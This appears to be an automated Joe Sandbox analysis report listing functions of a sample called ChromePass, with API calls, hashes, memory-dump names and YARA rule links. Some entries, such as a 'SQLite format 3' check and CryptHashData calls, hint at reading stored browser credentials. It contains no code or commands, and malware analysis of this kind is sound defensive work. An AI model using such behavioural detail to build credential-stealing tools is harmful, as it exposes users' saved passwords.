Instruction ID: e2583e71bc0324cef428d3d908088a87ccf9ef41c9de883cf6763ad4d955ad6f
Opcode Fuzzy Hash: 4750ac4f64df20fe14f20581181399b441305fd699aa432eca9752a195267de7
Instruction Fuzzy Hash: 8A21B470700251EFDF24AF20A841BAB77A1AB04744F50402FFD058A282E779CDE2C69B

Function 0040B0A5 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0040B0F0
malloc.MSVCRT ref: 0040B104
RtlLeaveCriticalSection.NTDLL(0043551C), ref: 0040B15B

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: malloc$CriticalLeaveSection
String ID:
API String ID: 3071071276-0
Opcode ID: ddd45cabfc29e04858f3b4a54179dc07d1ab7b7d7c2a11ea6175609c0dbd8c76
Instruction ID: 58a28df5d68d4c32b227e5c0aefb609fd1eaf3578d0e6b8a1ed8ab7e9c64f7f4
Opcode Fuzzy Hash: ddd45cabfc29e04858f3b4a54179dc07d1ab7b7d7c2a11ea6175609c0dbd8c76
Instruction Fuzzy Hash: 7F117CB3A00A108BC724DB14ECE185A73E9FB48BD4315653FE824E73A1C7B898418BDD

Function 0040D4AC Relevance: 4.5, APIs: 3, Instructions: 45COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000000), ref: 0040D4D0
free.MSVCRT ref: 0040D4E1

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: AttributesFilefree
String ID:
API String ID: 1936811914-0
Opcode ID: 1b55a115b6651d074f8abd2a18ce25ff18cbd72e89a4077e0e2222b355676b88
Instruction ID: f03d147386478639c031dd4aab21c4ee59dd6ac5a3055defa47c866c469ca497
Opcode Fuzzy Hash: 1b55a115b6651d074f8abd2a18ce25ff18cbd72e89a4077e0e2222b355676b88
Instruction Fuzzy Hash: 3CF0C836D00515FBCB205FFDDD056AF7A649B40328B24013BFC16F62C0EA38AD069268

Function 00404AE7 Relevance: 3.8, APIs: 3, Instructions: 38COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00404B03
memcpy.MSVCRT(00000000,00000000,?,00000000,?,004027D0,00000002,?,?,?,00401DD0,?), ref: 00404B1B
free.MSVCRT ref: 00404B24

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: freemallocmemcpy
String ID:
API String ID: 3056473165-0
Opcode ID: 4ec0a3633af83db2ef3e3f5a0b741c4b76ce56ff2941dd1a7c9ab502857e5d05
Instruction ID: 7d81a51da6d272be3227bb4bca0c31c89fe0157254a78abba71958b2e05c0512
Opcode Fuzzy Hash: 4ec0a3633af83db2ef3e3f5a0b741c4b76ce56ff2941dd1a7c9ab502857e5d05
Instruction Fuzzy Hash: 48F089B37052229FC7189A75B94185BB3ADAF84325751442FF904D7281D738EC50C7A9

Function 0040E72B Relevance: 3.2, APIs: 2, Instructions: 190COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040E7E4
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040E836

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: a96fc410173db621db0d4444a8ae677d8faef3f4941332292e50b7516178888b
Instruction ID: f055bcdf697316c0d5fcd3c93f3fcec89edffe739f3a922271ec41f17ae25e25
Opcode Fuzzy Hash: a96fc410173db621db0d4444a8ae677d8faef3f4941332292e50b7516178888b
Instruction Fuzzy Hash: 9E617175B00606EFDB14DFB6C880AAEB7B4FF48314F10456AE914A7381D738AD64DB94

Function 00410DF6 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,SQLite format 3,00000010,00000000,?,00000000), ref: 00410E60

Strings

SQLite format 3, xrefs: 00410E5A

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: memcmp
String ID: SQLite format 3
API String ID: 1475443563-759114288
Opcode ID: d35fd90adc4eca7626042c513d7ca5ff2d4b7392b5192c198e11bac51d5f790c
Instruction ID: 7a948cabf6688ffad0fb851a8221fe331fddf99336a370c70b7dc6847946aa22
Opcode Fuzzy Hash: d35fd90adc4eca7626042c513d7ca5ff2d4b7392b5192c198e11bac51d5f790c
Instruction Fuzzy Hash: F541C2719047459EC720CFA6C5417EABBF0AF18304F140A5FD491D7642E3B8EAC5DBA5

Function 00407D38 Relevance: 3.1, APIs: 2, Instructions: 105COMMON

Download Yara Rule

APIs

Part of subcall function 00406B39: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 00406B5B
Part of subcall function 00406B39: ??3@YAXPAX@Z.MSVCRT(00000000), ref: 00406BF0

Part of subcall function 00404857: CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000002,00000000,00000000,00407BBD,?), ref: 00404869

CloseHandle.KERNELBASE(?), ref: 00407E1E
SetCursor.USER32 ref: 00407E2A

Part of subcall function 0040523F: WriteFile.KERNELBASE(?,?,00000000,00000000,00000000,?,?,004022C7,?,?,00000000,?), ref: 00405256

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: File$??2@??3@CloseCreateCursorHandleWrite
String ID:
API String ID: 2042149353-0
Opcode ID: 3a6ace903472f4d56c57e321bc51bb5f79d762c189b85c980400dd9ebe6d50e2
Instruction ID: b242dfafaea419cf09a864ada9b1743c0dadae4235e2c8f1285360d2b2f17e01
Opcode Fuzzy Hash: 3a6ace903472f4d56c57e321bc51bb5f79d762c189b85c980400dd9ebe6d50e2
Instruction Fuzzy Hash: 05319671B04100AFCB256F69CC89E6E7BA5AF84314F11447FF446A72D1CB39AD80CA99

Function 0040F4C6 Relevance: 2.7, APIs: 2, Instructions: 184COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040F69D
memcmp.MSVCRT(?,00000000,00000010,?,00000000,00000000,?,00000000,004118FC,00000000,00000048,00000000,00000000,00411A7F,00000048,00000000), ref: 0040F6B2

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: memcmpmemset
String ID:
API String ID: 1065087418-0
Opcode ID: d5a313fa8d306e788d3c276cadfebc3fbe89a6dba21542b7c5779996bee17c5d
Instruction ID: 45caf7c4415f3f6eed915e372f33cd5a6d816b95c38a517210f0624132c76d84
Opcode Fuzzy Hash: d5a313fa8d306e788d3c276cadfebc3fbe89a6dba21542b7c5779996bee17c5d
Instruction Fuzzy Hash: 7261C5B1900646BBDB30DF64C88066AB7B4BB10304F24497FE504F7AD2D739AD59CB9A

Function 0040F7DE Relevance: 2.6, APIs: 2, Instructions: 147COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040F88A
memset.MSVCRT ref: 0040F8F2

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 5a47a92697ceca4bda858669ce9da63cc47876be752c494a90490a2f72832735
Instruction ID: 3bf3397b8cd2a7021ef727dcbdd47b90010fc7a11b5e82b2e04aa4fde8c7ed5f
Opcode Fuzzy Hash: 5a47a92697ceca4bda858669ce9da63cc47876be752c494a90490a2f72832735
Instruction Fuzzy Hash: D141C772604601AFCB30AF25C48166AB7A5FF44314B14893FE459E7F91D738EC498799

Function 0040CE42 Relevance: 2.5, APIs: 2, Instructions: 25sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064), ref: 0040CE5D
CloseHandle.KERNELBASE(?), ref: 0040CE66

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: CloseHandleSleep
String ID:
API String ID: 252777609-0
Opcode ID: 0b5221217f3981b554959319653820e88273f99e98a163d5125fd54341fc2777
Instruction ID: da62a678dcbff2ab1d74d28a03ee2a830e5dbcfe626ce62bc62febd1661457e7
Opcode Fuzzy Hash: 0b5221217f3981b554959319653820e88273f99e98a163d5125fd54341fc2777
Instruction Fuzzy Hash: 37E0CD37264515DFC6105BB8DCD0A6B7399DF45A74714433AE262D61F0C67498024694

Function 00421E76 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

RtlLeaveCriticalSection.NTDLL(?), ref: 00421EB4

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: 6c20effda86d1a598f4add828d0d3b9d7382dcea4e18e5554278ae06f534a34d
Instruction ID: 359b2e2d163342241aca88b0ac67ebd774a7a70df911bbc44683ad615efa9f38
Opcode Fuzzy Hash: 6c20effda86d1a598f4add828d0d3b9d7382dcea4e18e5554278ae06f534a34d
Instruction Fuzzy Hash: 04E06576704221AFC710AF56EC05A0AB7A4EF94361F11452AFA00D7371D735EC1697D9

Function 0040A649 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetPrivateProfileIntW.KERNEL32(?,?,?,?), ref: 0040A670

Part of subcall function 0040A556: memset.MSVCRT ref: 0040A575
Part of subcall function 0040A556: _itow.MSVCRT ref: 0040A58C
Part of subcall function 0040A556: WritePrivateProfileStringW.KERNEL32(?,?,00000000), ref: 0040A59B

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: PrivateProfile$StringWrite_itowmemset
String ID:
API String ID: 4232544981-0
Opcode ID: bde5b1fb04a4586148818dd68edcfab36a2e863996eddb2dfac08345f01640d6
Instruction ID: 27ca71f2c1e7233bce1156fe8596df3b893e68cfdcfa4093ed79989d194228f7
Opcode Fuzzy Hash: bde5b1fb04a4586148818dd68edcfab36a2e863996eddb2dfac08345f01640d6
Instruction Fuzzy Hash: CAE0B632000209BBDF125FA4EC02AA93FA6FF04314F588469F99814561D7339570AF49

Function 0040523F Relevance: 1.5, APIs: 1, Instructions: 13fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,00000000,00000000,00000000,?,?,004022C7,?,?,00000000,?), ref: 00405256

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 23b5f7c83528ad928ec06d102d022fe566d869636e62f19fc76f219fa4e9a4a7
Instruction ID: b7b9e6b122b481eb87f847673655712b703efdd963cd359c0dc9ae0a21f62820
Opcode Fuzzy Hash: 23b5f7c83528ad928ec06d102d022fe566d869636e62f19fc76f219fa4e9a4a7
Instruction Fuzzy Hash: B0D0C93111020DFBDF11CF80DC06FDD7B7DEB04359F508054BA00A50A0D7B59A11AB64

Function 00404857 Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000002,00000000,00000000,00407BBD,?), ref: 00404869

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 545a10bd94faee1630b1e2d93a7b55cc7f1f7f3d361510b6d9ed3cd93f118199
Instruction ID: c08432c8c2e4d2c41cad88df03bfa215d1807a6230e9f041270460315cbe795b
Opcode Fuzzy Hash: 545a10bd94faee1630b1e2d93a7b55cc7f1f7f3d361510b6d9ed3cd93f118199
Instruction Fuzzy Hash: 98C092F0350201BEFE204A50AD4AF3B295DE780700F5084207E00E40E0D6A14C418924

Function 0040A8CF Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

EnumResourceNamesW.KERNELBASE(?,?,Function_0000A849,00000000), ref: 0040A8DE

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: EnumNamesResource
String ID:
API String ID: 3334572018-0
Opcode ID: c325475149a1819e2152a84acc8de6c6d78d86499e34564c9dfda14c2fddf4cc
Instruction ID: a3e708811810f67fbb64cd1ef38ae1cc2770998dac08dc2ff20638f01517641c
Opcode Fuzzy Hash: c325475149a1819e2152a84acc8de6c6d78d86499e34564c9dfda14c2fddf4cc
Instruction Fuzzy Hash: 93C09B32254341A7D7119F208C05F1F7695BF54701F504C39B151940E1C76140359A05

Function 00404B83 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00402F21,?), ref: 00404B87

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 6fcfa2bc77288e031a84447e9f43986890a9b6c137ea0bad3083a33c329ccfdf
Instruction ID: 4e683cf876b8ba9cae9ebe1f88191206cf5ed4a36af62789711041363749bb20
Opcode Fuzzy Hash: 6fcfa2bc77288e031a84447e9f43986890a9b6c137ea0bad3083a33c329ccfdf
Instruction Fuzzy Hash: E4B012753100004BCB380B389C8A05D35506F44631760073CF033C00F0E720CC71BE00

Function 00410B9A Relevance: 1.4, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 0040B358: memset.MSVCRT ref: 0040B371

memset.MSVCRT ref: 00410C3D

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8e25715243bfc7993adfadd9f40a5f7aea7b024d36f38b061f72207621e1ac3c
Instruction ID: 71882556d22d5983589a3461620eb5751ea2a34ccc68dee96e2d76b05dfd967f
Opcode Fuzzy Hash: 8e25715243bfc7993adfadd9f40a5f7aea7b024d36f38b061f72207621e1ac3c
Instruction Fuzzy Hash: AB516F719043499FDB20DFA9C4909DEBBF0EF19304F24456EE485AB342D379AA84CB99

Function 004055E9 Relevance: 1.4, APIs: 1, Instructions: 125COMMON

Download Yara Rule

APIs

Part of subcall function 0040543B: free.MSVCRT ref: 0040543E
Part of subcall function 0040543B: free.MSVCRT ref: 00405446

free.MSVCRT ref: 004056AF

Part of subcall function 0040551C: free.MSVCRT ref: 0040552B

Part of subcall function 00404AE7: malloc.MSVCRT ref: 00404B03
Part of subcall function 00404AE7: memcpy.MSVCRT(00000000,00000000,?,00000000,?,004027D0,00000002,?,?,?,00401DD0,?), ref: 00404B1B
Part of subcall function 00404AE7: free.MSVCRT ref: 00404B24

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: free$mallocmemcpy
String ID:
API String ID: 3401966785-0
Opcode ID: 34ee092bfd22b0319c63bd0099accc9bcf1e5f13631f25b15267153dddd078c6
Instruction ID: 664ed08ed06512708bdc7daee16593bf9a063338b09f4670775a3efeeebd1403
Opcode Fuzzy Hash: 34ee092bfd22b0319c63bd0099accc9bcf1e5f13631f25b15267153dddd078c6
Instruction Fuzzy Hash: 32512675D006099BCB10EF99C4805AEB7B5FF48314FA0843BE954B7290D739AE46CF99

Function 00405552 Relevance: 1.3, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00405559

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 83d31481d796059539d00f5385bf62676edb643d883e75c26102b29d730e577f
Instruction ID: 609ed0aab236816ff05067ee66e464794d0dd207a53293c98384bc9347bee541
Opcode Fuzzy Hash: 83d31481d796059539d00f5385bf62676edb643d883e75c26102b29d730e577f
Instruction Fuzzy Hash: 22C012B2510B019BE7308E21C805323B2E4AF0072BFA0880D949582080C77CD8808A08

Non-executed Functions

Function 0040315B Relevance: 16.7, APIs: 11, Instructions: 211memoryencryptionCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,00000414,00000005,00000000,00000000,000000FF), ref: 00403198
memset.MSVCRT ref: 004031B9
memset.MSVCRT ref: 004031D5

Part of subcall function 00402D84: memset.MSVCRT ref: 00402DA2
Part of subcall function 00402D84: _snwprintf.MSVCRT ref: 00402E09
Part of subcall function 00402D84: wcslen.MSVCRT ref: 00402E56
Part of subcall function 00402D84: wcslen.MSVCRT ref: 00402E62

memset.MSVCRT ref: 0040320E
memset.MSVCRT ref: 0040322A

Part of subcall function 00404AB9: wcslen.MSVCRT ref: 00404AC0
Part of subcall function 00404AB9: memcpy.MSVCRT(?,00000143,00000143,00000143,00402E53,-0000040E), ref: 00404AD6

Part of subcall function 00402C80: wcslen.MSVCRT ref: 00402CA6
Part of subcall function 00402C80: wcslen.MSVCRT ref: 00402CBD

Part of subcall function 00402F70: GetFileSize.KERNEL32(00000000,00000000,?,?,00000414), ref: 00402F97
Part of subcall function 00402F70: memset.MSVCRT ref: 00402FBF
Part of subcall function 00402F70: CloseHandle.KERNEL32(00000000), ref: 00402FD8
Part of subcall function 00402F70: memset.MSVCRT ref: 00402FF7
Part of subcall function 00402F70: memcpy.MSVCRT(?,?,00000010,?,00000000,00000027), ref: 00403009
Part of subcall function 00402F70: memset.MSVCRT ref: 00403059
Part of subcall function 00402F70: memset.MSVCRT ref: 0040306D
Part of subcall function 00402F70: memcpy.MSVCRT(?,?,00000300,?,?,?,?,?,?), ref: 00403099

Part of subcall function 00402A96: CryptHashData.ADVAPI32(?,00000414,?,00000000,?,?,?,?,00000001,?,00403303,00000000,00000470,?,00000000,?), ref: 00402AC7
Part of subcall function 00402A96: CryptHashData.ADVAPI32(?,?,00000000,00000000,?,?,?,?,00000001,?,00403303,00000000,00000470,?,00000000,?), ref: 00402AD3
